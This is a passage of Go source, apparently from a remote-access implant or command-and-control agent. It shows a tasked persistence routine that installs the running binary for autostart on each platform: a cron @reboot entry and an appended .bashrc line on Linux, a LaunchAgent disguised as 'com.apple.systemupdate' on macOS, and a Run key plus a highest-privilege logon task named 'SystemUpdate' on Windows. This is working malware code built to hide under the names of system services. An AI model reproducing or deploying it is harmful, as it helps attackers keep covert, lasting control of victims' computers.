	cwdMu.Unlock()

	out, err := cmd.CombinedOutput()
	if err != nil {
		return string(out), "", "", err.Error()
	}
	return string(out), "", "", ""
}

// --- Persistence ---

func taskPersist(payload map[string]interface{}) (string, string, string, string) {
	method, _ := payload["method"].(string)
	if method == "" {
		method = "auto"
	}
	exe := exeSelf()
	if exe == "" || exe == "unknown" {
		return "", "", "", "cannot determine self path"
	}

	switch runtime.GOOS {
	case "linux":
		return persistLinux(exe, method)
	case "darwin":
		return persistDarwin(exe, method)
	case "windows":
		return persistWindows(exe, method)
	default:
		return "", "", "", "persistence not supported on " + runtime.GOOS
	}
}

func persistLinux(exe, method string) (string, string, string, string) {
	if method == "auto" || method == "cron" {
		cronEntry := fmt.Sprintf("@reboot %s &\n", exe)
		out, err := runWithTimeout(fmt.Sprintf("(crontab -l 2>/dev/null; echo '%s') | sort -u | crontab -", strings.TrimSpace(cronEntry)), 10)
		if err == nil {
			return "persistence installed via cron: " + out, "", "", ""
		}
	}
	if method == "auto" || method == "bashrc" {
		line := fmt.Sprintf("\n(nohup %s &>/dev/null &) # cs\n", exe)
		home, _ := os.UserHomeDir()
		if home != "" {
			f, err := os.OpenFile(filepath.Join(home, ".bashrc"), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644)
			if err == nil {
				f.WriteString(line)
				f.Close()
				return "persistence installed via .bashrc", "", "", ""
			}
		}
	}
	return "", "", "", "persistence failed on linux"
}

func persistDarwin(exe, method string) (string, string, string, string) {
	if method == "auto" || method == "launchagent" {
		home, _ := os.UserHomeDir()
		if home == "" {
			return "", "", "", "cannot determine home dir"
		}
		plistDir := filepath.Join(home, "Library", "LaunchAgents")
		os.MkdirAll(plistDir, 0755)
		plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key><string>com.apple.systemupdate</string>
    <key>ProgramArguments</key><array><string>%s</string></array>
    <key>RunAtLoad</key><true/>
    <key>KeepAlive</key><true/>
    <key>StandardOutPath</key><string>/dev/null</string>
    <key>StandardErrorPath</key><string>/dev/null</string>
</dict>
</plist>`, exe)
		plistPath := filepath.Join(plistDir, "com.apple.systemupdate.plist")
		if err := os.WriteFile(plistPath, []byte(plist), 0644); err != nil {
			return "", "", "", err.Error()
		}
		return "persistence installed via LaunchAgent: " + plistPath, "", "", ""
	}
	return "", "", "", "persistence method not supported on darwin"
}

func persistWindows(exe, method string) (string, string, string, string) {
	if method == "auto" || method == "registry" {
		cmd := fmt.Sprintf(`reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "%s" /f`, exe)
		out, err := runWithTimeout(cmd, 10)
		if err == nil {
			return "persistence installed via registry Run key: " + out, "", "", ""
		}
	}
	if method == "auto" || method == "schtasks" {
		cmd := fmt.Sprintf(`schtasks /create /tn "SystemUpdate" /tr "%s" /sc onlogon /rl highest /f`, exe)
		out, err := runWithTimeout(cmd, 10)
		if err == nil {
			return "persistence installed via schtasks: " + out, "", "", ""
		}
	}
	return "", "", "", "persistence failed on windows"
}

func getFloat(m map[string]interface{}, key string) float64 {
	v, _ := m[key].(float64)
	return v
}